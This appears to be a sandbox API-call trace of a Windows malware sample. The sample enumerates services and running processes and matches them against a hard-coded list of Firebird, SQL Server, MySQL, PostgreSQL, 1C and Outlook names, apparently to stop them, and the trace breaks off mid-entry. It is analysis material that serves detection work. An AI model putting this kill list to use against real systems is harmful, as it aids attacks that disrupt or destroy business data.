lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.802] lstrlenW (lpString="Dnscache") returned 8 [0042.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.802] lstrlenW (lpString="DPS") returned 3 [0042.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.802] lstrlenW (lpString="eventlog") returned 8 [0042.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.802] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.802] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.802] lstrlenW (lpString="EventSystem") returned 11 [0042.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.803] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.803] lstrlenW (lpString="gpsvc") returned 5 [0042.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.803] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.803] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.803] lstrlenW (lpString="iphlpsvc") returned 8 [0042.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.803] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.803] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.803] lstrlenW (lpString="LanmanServer") returned 12 [0042.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.803] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.803] lstrlenW (lpString="lmhosts") returned 7 [0042.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.803] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.803] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.803] lstrlenW (lpString="MMCSS") returned 5 [0042.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.804] lstrlenW (lpString="MpsSvc") returned 6 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.804] lstrlenW (lpString="Netman") returned 6 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.804] lstrlenW (lpString="netprofm") returned 8 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.804] lstrlenW (lpString="NlaSvc") returned 6 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.804] lstrlenW (lpString="nsi") returned 3 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.805] lstrlenW (lpString="PcaSvc") returned 6 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.805] lstrlenW (lpString="PlugPlay") returned 8 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.805] lstrlenW (lpString="Power") returned 5 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.805] lstrlenW (lpString="ProfSvc") returned 7 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.805] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.805] lstrlenW (lpString="RpcSs") returned 5 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.806] lstrlenW (lpString="SamSs") returned 5 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.806] lstrlenW (lpString="Schedule") returned 8 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.806] lstrlenW (lpString="SENS") returned 4 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.806] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.806] lstrlenW (lpString="Spooler") returned 7 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.806] lstrlenW (lpString="SysMain") returned 7 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.807] lstrlenW (lpString="Themes") returned 6 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.807] lstrlenW (lpString="TrkWks") returned 6 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.807] lstrlenW (lpString="UxSms") returned 5 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.807] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.807] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.808] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.808] lstrlenW (lpString="Winmgmt") returned 7 [0042.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.808] lstrlenW (lpString="WPDBusEnum") returned 10 [0042.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0042.808] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e048 | out: hHeap=0x510000) returned 1 [0042.808] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0042.810] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.810] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.810] lstrlenW (lpString="System") returned 6 [0042.810] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.810] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.810] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.810] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.810] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.810] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.810] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.811] lstrlenW (lpString="smss.exe") returned 8 [0042.811] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.811] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.811] lstrlenW (lpString="csrss.exe") returned 9 [0042.811] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0042.811] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0042.811] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0042.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0042.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0042.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0042.811] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.812] lstrlenW (lpString="wininit.exe") returned 11 [0042.812] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0042.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0042.812] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0042.812] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0042.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0042.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0042.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0042.812] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.812] lstrlenW (lpString="csrss.exe") returned 9 [0042.812] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0042.812] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0042.812] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0042.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0042.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0042.813] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.813] lstrlenW (lpString="winlogon.exe") returned 12 [0042.813] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.813] lstrlenW (lpString="services.exe") returned 12 [0042.813] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.813] lstrlenW (lpString="lsass.exe") returned 9 [0042.813] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.814] lstrlenW (lpString="lsm.exe") returned 7 [0042.814] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.814] lstrlenW (lpString="svchost.exe") returned 11 [0042.814] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.815] lstrlenW (lpString="svchost.exe") returned 11 [0042.815] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.815] lstrlenW (lpString="svchost.exe") returned 11 [0042.815] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.816] lstrlenW (lpString="svchost.exe") returned 11 [0042.816] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.816] lstrlenW (lpString="svchost.exe") returned 11 [0042.816] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.816] lstrlenW (lpString="audiodg.exe") returned 11 [0042.816] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.816] lstrlenW (lpString="svchost.exe") returned 11 [0042.816] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.817] lstrlenW (lpString="svchost.exe") returned 11 [0042.817] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, 